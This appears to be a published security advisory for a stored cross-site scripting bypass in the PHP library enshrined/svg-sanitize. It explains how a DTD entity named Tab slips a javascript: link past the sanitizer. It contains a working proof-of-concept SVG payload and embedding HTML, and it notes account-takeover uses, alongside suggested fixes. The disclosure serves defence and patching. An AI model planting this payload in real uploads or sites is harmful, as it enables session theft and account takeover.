GHSA-9rjx-3jch-6vjf

ghsaUSosv

enshrined/svg-sanitize: Stored XSS via DTD Entity / HTML5 Named Character Reference Collision

view advisory published 2026-10-08Licence: CC-BY-4.0

## Summary A crafted SVG bypasses `enshrined/svg-sanitize`'s href validation and delivers a `javascript:` URL through the sanitizer unchanged. The bypass exploits a semantic mismatch between XML entity resolution (used during sanitization) and HTML5 Named Character Reference resolution (used by the browser when the SVG is rendered inline). **This is a logic bug in svg-sanitize. It does NOT depend on any PHP ext/dom bug — it works on any PHP version.** **Affected installations:** - **enshrined/svg-sanitize:** 45.2M Packagist downloads, 1.3M/month, 90+ dependents - **WordPress Safe SVG plugin:** 1M+ active installs (inline SVG rendering via themes) - **TYPO3, Drupal** and 90+ other Packagist dependents ## Vulnerability Details ### Mechanism 1. Attacker defines a DTD entity whose name collides with an HTML5 Named Character Reference: ```xml <!ENTITY Tab "#"> ``` In XML, `&Tab;` expands to the literal string `"#"` (from the DTD definition). In HTML5, `&Tab;` is a Named Character Reference that resolves to U+0009 (TAB character). 2. The SVG uses this entity in an href: ```xml <a href="&Tab;javascript:alert(document.domain)"> ``` 3. **During sanitization** (XML context): `&Tab;` → `"#"` → the sanitizer sees `href="#javascript:alert(document.domain)"` → starts with `#` → `isHrefSafeValue()` returns **TRUE** → passes through. 4. **Sanitizer output:** `saveXML()` outputs the entity reference `&Tab;` (not the expanded value), and strips the DOCTYPE declaration. 5. **In the browser** (HTML5 context): Without the DOCTYPE, `&Tab;` is resolved as the HTML5 Named Character Reference → U+0009 (TAB). The URL parser strips leading whitespace → `javascript:alert(document.domain)` **executes**. ### Root Cause (Sanitizer.php) ```php // isHrefSafeValue() — evaluates EXPANDED value (after XML entity resolution) protected function isHrefSafeValue($value) { if ('#' === substr($value, 0, 1)) { return true; // Fragment identifier — "safe" } // ... } // But saveXML() preserves the entity REFERENCE, not the expanded value // And the DOCTYPE (which defines the entity) is stripped from output // → semantic mismatch between validation and output contexts ``` ## Proof of Concept ### Malicious SVG (xss.svg) ```xml <!DOCTYPE svg [<!ENTITY Tab "#">]> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120"> <a href="&Tab;javascript:alert(document.domain)"> <rect width="400" height="120" fill="#c00" rx="12"/> <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text> </a> </svg> ``` ### Sanitizer processing ```php <?php require_once 'vendor/autoload.php'; $svg = file_get_contents('xss.svg'); $sanitizer = new \enshrined\svgSanitize\Sanitizer(); $clean = $sanitizer->sanitize($svg); echo $clean; ``` **Output:** ```xml <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120"> <a href="&Tab;javascript:alert(document.domain)"> <rect width="400" height="120" fill="#c00" rx="12"/> <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text> </a> </svg> ``` The `javascript:` href passes through the sanitizer. The DOCTYPE is stripped, but the `&Tab;` entity reference is preserved. ### Browser exploitation Embed the sanitized SVG inline in HTML: ```html <div class="svg-container"> <!-- sanitized SVG output inserted here --> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120"> <a href="&Tab;javascript:alert(document.domain)"> <rect width="400" height="120" fill="#c00" rx="12"/> <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text> </a> </svg> </div> ``` **Clicking the red rectangle executes `alert(document.domain)`.** **Confirmed:** Chrome 148. PoC file: `XSS_CONFIRMED_POC.html` ### Exploitable Named Character References Any HTML5 Named Character Reference that expands to a URL-parser-ignored character: - `&Tab;` → U+0009 (Horizontal Tab) - `&NewLine;` → U+000A (Line Feed) These are stripped by the URL parser's scheme extraction, allowing `javascript:` to be the effective scheme. ## Impact ### Stored XSS - Attacker uploads SVG as Author (WordPress) or via any svg-sanitize-protected upload endpoint - SVG passes sanitization — sanitizer reports no issues - When SVG is rendered inline in HTML page, clicking the link executes JavaScript in the page's origin - **Account takeover:** `document.cookie`, `fetch('/wp-admin/...')`, session hijacking ### Context requirement The sanitized SVG must be embedded **inline in HTML** (not as `<img src="file.svg">`). Common scenarios: - WordPress themes that `echo file_get_contents($svg_path)` for inline SVG rendering - WordPress block editor SVG preview - Any web application rendering svg-sanitize output directly in HTML Standalone `<img src="...svg">` is NOT affected (browser uses XML parser, `&Tab;` without DOCTYPE = XML parse error). ## CVSS **CVSS 3.1: 6.1 (Medium)** — stored XSS, requires user click `AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N` With session stealing / admin takeover chain: effective severity **High**. ## Suggested Fix ### Option 1: Strip DOCTYPE before parsing (recommended) ```php $dirty = preg_replace('/<!DOCTYPE[^>]*(?:\[.*?\])?\s*>/si', '', $dirty); ``` Eliminates entity definitions entirely. No DTD entities = no collision. ### Option 2: Validate href after serialization ```php $clean = $this->xmlDocument->saveXML(...); // Post-serialization check: re-validate all href values in the OUTPUT // (catches entity references that bypass the XML-expanded check) ``` ### Option 3: Expand entities before validation Validate `getAttribute()` return value AND the serialized form: ```php $href = $element->getAttribute($attrName); $serialized = $this->xmlDocument->saveXML($element); // Check both for javascript: scheme ``` ## Environment - enshrined/svg-sanitize 0.22.x - Chrome 148 (confirmed XSS execution) - PHP 8.3.24 (any version — bug is in PHP sanitizer logic, not ext/dom) **Reported by ExPatch Security Research — [expatch.llc](https://expatch.llc/) Denis Rostilov**

01

describes (1)

Related CVEs.

IDseverity exploitable
CVE-2026-107380US——
savg-sanitizer is a PHP SVG/XML sanitizer. Prior to 1.0.0, svg-sanitizer's isHrefSafeValue() validates an SVG href after XML DTD entity expansion, but saveXML() serializes the orig…
02

references

External citations — patches, advisories, analysis.

scry

Advisories like this name the exposed products attackers go after on your perimeter. See what is exposed on your perimeter with a free passive scan.

Free scan